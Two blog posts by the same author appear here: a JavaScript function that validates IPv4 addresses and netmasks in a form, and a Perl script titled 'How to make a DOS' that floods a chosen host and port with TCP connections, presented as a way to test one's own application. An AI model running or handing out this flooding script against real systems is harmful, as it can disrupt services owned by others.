Validate/match IP address into a web form with Javascript

Posted on mercoledì 19 gennaio 2011 by Ivano Binetti

I have written this javascript function to validate an IP address (IPv4) and the netmask inside a html form:

function checkip() {
var ipaddress = document.getElementById("ip").value;
var subnet = document.getElementById("netmask").value;
var patt = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
var match = ipaddress.match(patt);
var match2 = subnet.match(patt);

if (ipaddress == "0.0.0.0") {
alert ("The IP Address field cannot be 0.0.0.0");
return false;
}

if (ipaddress == "255.255.255.255") {
alert ("The IP Address field cannot be 255.255.255.255");
return false;
}

if (match == null) {
alert ("Please review your IP Adrress!");
return false;
}

if (match2 == null) {
alert ("Please review your Subnet Mask!");
return false;
}

else {
document.getElementById("form1").submit();
window.close();
}
}

Perl - How to make a DOS

Posted on sabato 8 gennaio 2011 by Ivano Binetti

The purpose of this simple perl script  is to test an application to understand if it is vulnerable at DOS (Denial of Service) attacks.

You can specify the TCP/IP number port, the ip address and the number of connections which you want send to your applications.


#!/usr/bin/perl
use IO::Socket;

        if (@ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $conn   = $ARGV[2];

        $num    = 0;

        print "I'm sending $ARGV[2] connection requests to port $ARGV[1]\n";

        while ( $num <= $conn ) {
                system("echo -n .");
                $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

        close($s);
        $num++;
        }

        print "\n Your $ARGV[2] connection requests have been done !\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 21 1200\n";
        exit;
}